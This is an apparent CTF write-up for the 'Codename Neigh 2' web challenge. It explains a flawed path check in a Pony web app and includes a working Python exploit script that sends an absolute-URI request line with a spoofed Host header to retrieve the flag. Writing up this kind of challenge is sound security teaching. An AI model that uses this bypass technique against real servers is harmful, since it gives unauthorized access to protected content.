Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Codename Neigh 2 Web

CTF writeup for Codename Neigh 2 Web from nullCTF

//Codename Neigh 2 - Writeup

Category: Web  

Author: xseven  

Flag: nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}


>Challenge Description

Beyond the familiar chronometers lies the Temporal Nexus, where a desperate plea for the lost Neigh echoes through history. If the last trial felt light, prepare for forbidden archives, paradoxes, and enigmas that span epochs.

We're given source code for a web application written in Pony (an actor-model, capabilities-secure programming language) and need to retrieve a hidden flag.


>Initial Analysis

Source Code Structure

After extracting the challenge files, we have:

├── Dockerfile ├── docker-compose.yml └── app/     ├── main.pony          # Main application logic     ├── private/     │   └── flag.html      # The flag we need to access     └── public/         ├── index.html         ├── pony.html         ├── report.html         ├── error.html         └── style.css

Key Vulnerability in main.pony

The most important part is the /flag endpoint handler (class F):

pony

class F is RequestHandler

  let _fileauth: FileAuth

  new val create(fileauth: FileAuth) =>

    _fileauth = fileauth

  

  fun not_starts_with(s: String, prefix: String): Bool =>

    (s.size() >= prefix.size()) and (s.substring(0, prefix.size().isize()) != prefix)

  

  fun apply(ctx: Context): Context iso^ =>

    var conn: String = ""

    var body = "[REDACTED]".array()

    try

      conn = ctx.request.header("Host") as String

    end

    let path: String = ctx.request.uri().string()

  

    if (conn == "127.0.0.1") and not_starts_with(path, "flag") and not_starts_with(path, "/flag") then

      let fpath = FilePath(_fileauth, "private/flag.html")

      with file = File(fpath) do

        body = file.read_string(file.size()).string().array()

      end

    end

  

    ctx.respond(

      StatusResponse(StatusOK, [("Content-Length", body.size().string())]),

      body

    )

    consume ctx

Understanding the Access Control Logic

The flag is returned only if ALL conditions are met:

  1. Host header equals exactly "127.0.0.1"

  2. ✅ Path does NOT start with "flag"

  3. ✅ Path does NOT start with "/flag"

The path is obtained from ctx.request.uri().string() - this is the key vulnerability point.


>The Vulnerability: Absolute URI Bypass

HTTP Request-Target Forms

According to RFC 7230, HTTP requests can use different "request-target" formats:

  1. origin-form (most common): GET /flag HTTP/1.1

  2. absolute-form: GET http://127.0.0.1/flag HTTP/1.1

  3. authority-form: Used for CONNECT

  4. asterisk-form: Used for OPTIONS

When we use absolute-form, the URI string includes the full URL with scheme!

The Bypass

| Request Form | uri().string() returns | Starts with /flag? |

|-------------|--------------------------|---------------------|

| GET /flag | /flag | ✅ Yes - BLOCKED |

| GET http://127.0.0.1/flag | http://127.0.0.1/flag | ❌ No - BYPASSED! |

The absolute URI starts with http://, not /flag, bypassing the security check while still routing to the /flag endpoint!


>Local Exploitation

Step 1: Build and Run the Docker Container

bash

# Fix docker-compose.yml if needed (remove 'name:' line for older versions)

docker build -t neigh2 .

docker run -d -p 9082:9082 --name neigh2_container neigh2

Step 2: Test the Vulnerability

bash

# Normal request - BLOCKED

curl -s -H "Host: 127.0.0.1" "http://127.0.0.1:9082/flag"

# Response: [REDACTED]

  

# Absolute URI request - BYPASSED!

python3 -c "

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('127.0.0.1', 9082))

s.send(b'GET http://127.0.0.1/flag HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n')

print(s.recv(4096).decode())

"

Local Result:

html

HTTP/1.1 200 OK

Content-Length: 136

  

<!DOCTYPE html>

<html lang="en">

<body>

    No pony here but you did find the flag:

    <br>

    <b>nullctf{secret}</b>

</body>

</html>

>Remote Exploitation

The Final Exploit Script

python

#!/usr/bin/env python3

"""

Codename Neigh 2 - CTF Exploit

  

Vulnerability: Absolute URI bypass in HTTP request line

The server checks if the path starts with "flag" or "/flag" to block access.

However, when using HTTP absolute URI form (GET http://127.0.0.1/flag HTTP/1.1),

the uri().string() returns the full URL starting with "http://", bypassing the check.

"""

  

import socket

import sys

  

def exploit(target_host, target_port):

    """

    Exploit the path bypass vulnerability using absolute URI in request line.

    """

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.settimeout(10)

    try:

        s.connect((target_host, target_port))

        # The key is using an absolute URI that:

        # 1. Has Host header as 127.0.0.1 (checked by the server)  

        # 2. Routes to /flag endpoint (jennet routes based on path)

        # 3. Has uri().string() NOT starting with "flag" or "/flag"

        # Using absolute URI form accomplishes this: uri().string() returns "http://127.0.0.1/flag"

        request = (

            f"GET http://127.0.0.1/flag HTTP/1.1\r\n"

            f"Host: 127.0.0.1\r\n"

            f"Connection: close\r\n"

            f"\r\n"

        )

        print(f"[*] Target: {target_host}:{target_port}")

        print(f"[*] Sending crafted request with absolute URI...")

        print(f"[DEBUG] Request:\n{request}")

        s.send(request.encode())

        response = b""

        while True:

            data = s.recv(4096)

            if not data:

                break

            response += data

        response_str = response.decode('utf-8', errors='replace')

        print(f"[*] Response:\n{response_str}")

        # Extract flag

        if "nullctf{" in response_str:

            start = response_str.find("nullctf{")

            end = response_str.find("}", start) + 1

            flag = response_str[start:end]

            print(f"\n[+] FLAG FOUND: {flag}")

            return flag

        else:

            print("[-] Flag not found in response")

            return None

    except Exception as e:

        print(f"[-] Error: {e}")

        return None

    finally:

        s.close()

  

if __name__ == "__main__":

    if len(sys.argv) < 3:

        print(f"Usage: {sys.argv[0]} <host> <port>")

        print(f"Example: {sys.argv[0]} localhost 9082")

        print(f"Example: {sys.argv[0]} public.ctf.r0devnull.team 3003")

        sys.exit(1)

    host = sys.argv[1]

    port = int(sys.argv[2])

    exploit(host, port)

Running Against Remote

bash

$ python3 solve.py public.ctf.r0devnull.team 3003

  

[*] Target: public.ctf.r0devnull.team:3003

[*] Sending crafted request with absolute URI...

[DEBUG] Request:

GET http://127.0.0.1/flag HTTP/1.1

Host: 127.0.0.1

Connection: close

  
  

[*] Response:

HTTP/1.1 200 OK

Connection: close

Content-Length: 175

  

<!DOCTYPE html>

<html lang="en">

<body>

    No pony here but you did find the flag:

    <br>

    <b>nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}</b>

</body>

</html>

  
  

[+] FLAG FOUND: nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}

>Flag

nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}

>Files